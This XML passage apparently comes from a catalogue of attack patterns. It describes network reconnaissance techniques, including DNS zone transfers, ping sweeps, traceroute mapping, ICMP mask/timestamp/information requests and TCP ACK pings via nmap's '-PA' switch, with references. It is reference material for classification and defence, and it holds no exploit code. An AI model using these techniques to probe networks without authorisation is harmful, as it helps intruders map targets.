			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>309<!--Scanning for Devices, Systems, or Routes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 38</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="291" Name="DNS Zone Transfers" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a DNS misconfiguration that permits a ZONE transfer.
						Some external DNS servers will return a list of IP address and valid
						hostnames. Under certain conditions, it may even be possible to obtain Zone
						data about the organization's internal network. When successful the attacker
						learns valuable information about the topology of the target organization,
						including information about particular servers, their role within the IT
						structure, and possibly information about the operating systems running upon
						the network. This is configuration dependent behavior so it may also be
						required to search out multiple DNS servers while attempting to find one
						with ZONE transfers allowed.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="Domain Name Service (DNS)"/>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Access to a DNS server that allows Zone transfers.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>A client application capable of interacting with the DNS server or a
					command-line utility or web application that automates DNS interactions.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>309<!--Scanning for Devices, Systems, or Routes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 34</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="292" Name="Host Discovery" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a probe to an IP address to determine if the host is
						alive. Host discovery is one of the earliest phases of network
						reconnaissance. An attacker usually starts with a range of IP addresses
						belonging to a target network and uses various methods to determine if a
						host is present at that IP address. Host discovery is usually referred to as
						'Ping' scanning using a sonar analogy. The goal of the attacker is to send a
						packet through to the IP address and solicit a response from the host. As
						such, a 'ping' can be virtually any crafted packet whatsoever, provided the
						attacker can identify a functional host based on its response. An attack of
						this nature is usually carried out with a 'ping sweep' where a particular
						kind of ping is sent to a range of IP addresses.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Network</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A network capable of routing the attackers packets to the destination
						network.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The resources required will differ based upon the type of host discovery being
					performed. Usually a scanner or scanning script is required due to the volume of
					requests that must be generated.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>309<!--Scanning for Devices, Systems, or Routes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 1: Footprinting, pp.44</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.6 Host Discover Techniques,
						pg.57</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="293" Name="Traceroute Route Enumeration" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a traceroute utility to map out the route which data
						flows through the network in route to a target destination. Tracerouting can
						allow an attacker to construct a working topology of systems and routers by
						listing the systems through which data passes through on their way to the
						targeted machine. This attack can return varied results depending upon the
						type of traceroute that is performed. Traceroute works by sending packets to
						a target while incrementing the Time-to-Live field in the packet header. As
						the packet traverses each hop along its way to the destination, its TTL
						expires generating an ICMP diagnostic message that identifies where the
						packet expired. Traditional techniques for tracerouting involved the use of
						ICMP and UDP. As more firewalls began to filter ingress ICMP, methods of
						traceroute using TCP were developed</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Network</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A network capable of routing the attackers packets to the destination
						network.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>A command line version of traceroute or similar tool that performs route
					enumeration.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>309<!--Scanning for Devices, Systems, or Routes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 38-41</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="294" Name="ICMP Address Mask Request" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends an ICMP Type 17 Address Mask Request to gather
						information about a target's networking configuration. ICMP Address Mask
						Requests are defined by RFC-950, "Internet Standard Subnetting Procedure."
						An Address Mask Request is an ICMP type 17 message that triggers a remote
						system to respond with a list of its related subnets, as well as its default
						gateway and broadcast address via an ICMP type 18 Address Mask Reply
						datagram. Gathering this type of information helps an attacker plan
						router-based attacks as well as denial-of-service attacks against the
						broadcast address. Many modern operating systems will not respond to ICMP
						type 17 messages for security reasons. Determining whether a system or
						router will respond to an ICMP Address Mask Request helps the attacker
						determine operating system or firmware version. Additionally, because these
						types of messages are rare they are easily spotted by intrusion detection
						systems. Many ICMP scanning tools support IP spoofing to help conceal the
						origin of the actual request among a storm of similar ICMP messages. It is a
						common practice for border firewalls and gateways to be configured to block
						ingress ICMP type 17 and egress ICMP type 18 messages. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Network</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send an ICMP type 17 query (Address Mask Request) to a
						remote target and recieve an ICMP type 18 message (ICMP Address Mask Reply)
						in response. Generally, modern operating systems will ignore ICMP type 17
						messages, however, routers will commonly respond to this request.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send custom ICMP queries. This can be accomplished via the use
					of various scanners or utilities. The following tools allow a user to craft
					custom ICMP messages when performing reconnaissance:</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 53-54</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Mogul, J. Postel</Reference_Author>
					<Reference_Title>RFC950 - Internet Standard Subnetting
						Procedure</Reference_Title>
					<Reference_PubDate>1985</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc950.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Message Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.7.2 ICMP Probe Selection, pg.
						70</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="295" Name="ICMP Timestamp Request" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends an ICMP type 13 Timestamp Request to determine the time
						as recorded by a remote target. Timestamp Replies, ICMP Type 14, usually
						return a value in Greenwich Mean Time. An attacker can attempt to use an
						ICMP Timestamp requests to 'ping' a remote system to see if is alive. An
						attacker may be able to use the timestamp returned from the target to attack
						time-based security algorithms, such as random number generators, or
						time-based authentication mechanisms. Additionally, because these types of
						messages are rare they are easily spotted by intrusion detection systems.
						Many ICMP scanning tools support IP spoofing to help conceal the origin of
						the actual request among a storm of similar ICMP messages. It is a common
						practice for border firewalls and gateways to be configured to block ingress
						ICMP type 13 and egress ICMP type 14 messages.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Network</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send an ICMP type 13 query (Timestamp Request) to a remote
						target and receive an ICMP type 14 message (Timestamp Reply) in
						response.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send custom ICMP queries. This can be accomplished via the use
					of various scanners or utilities.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 44-51</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Internet Engineering Task Force, R Braiden,
						Editor</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1989</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.7.2 ICMP Probe Selection, pg.
						70</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition</Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="296" Name="ICMP Information Request" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends an ICMP Information Request to a host to determine if it
						will respond to this deprecated mechanism. ICMP Information Requests are a
						deprecated message type that no has any use. Information Requests were
						originally used for diskless machines to automatically obtain their network
						configuration, but this message type has been superseded by more robust
						protocol implementations like DHCP. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Network</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send an ICMP Type 15 Information Request and receive an
						ICMP Type 16 Information Reply in response.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send custom ICMP queries. This can be accomplished via the use
					of various scanners or utilities.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 44-51</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Internet Engineering Task Force, R Braiden,
						Editor</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1989</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.7.2 ICMP Probe Selection, pg.
						70</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="297" Name="TCP ACK Ping" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a TCP segment with the ACK flag set to a remote host for
						the purpose of determining if the host is alive. This is one of several TCP
						'ping' types. The RFC 793 expected behavior for a service is to respond with
						a RST 'reset' packet to any unsolicited ACK segment that is not part of an
						existing connection. So by sending an ACK segment to a port, an attacker
						identify that the host is alive by looking for a RST packet. Typically a
						remote server will respond with a RST regardless of whether a port is open
						or closed. In either case, the attacker can determine that the host is
						alive. TCP ACK pings cannot discover the state of a remote port because the
						behavior is the same in either case. TCP ACK pings are most likely to fail
						in cases where a stateful firewall is present. The firewall will look up the
						ACK packet in its state-table and discard the segment because it does not
						correspond to any active connection. A TCP ACK Ping has the following
						characteristics:</Text>
					<Block Block_Nature="List">
						<Text>1. Host Discovery: Can be used to discover if a host is alive via RST
							response packets sent from the host.</Text>
						<Text>2. Effective Against: Stateless Firewalls due to a typical lack of
							rules that reject unsolicited ACK packets.</Text>
						<Text>3. Weak Against: Stateful Firewalls due to the ability to reject a
							packet not part of an existing connection.</Text>
						<Text>4. Port State: Unable to determine if a port is open or closed.</Text>
					</Block>
					<Text>The tool nmap will send TCP ACK pings when the command line "-PA" switch
						is used. Sending an ACK ping requires the ability to access "raw sockets" in
						order to create the packets with direct access to the packet header.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send an ACK packet to a remote host and identify the
						response. Creating the ACK packet without building a full connection
						requires the use of raw sockets. As a result, it is not possible to send a
						TCP ACK ping from some systems (Windows XP SP 2) without the use of
						third-party packet drivers like Winpcap. On other systems (BSD, Linux)
						administrative privileges are required in order to write to the raw
						socket.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to craft custom TCP ACK segments for use during network
					reconnaissance. ACK scanning can be performed via the use of a port scanner or
					by raw socket manipulation using a scripting or programming language. Packet
					injection tools are also useful for this purpose. Depending upon the technique
					used it may also be necessary to sniff the network in order to see the
					response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 49</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.6.2 TCP ACK Ping, pg. 61</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
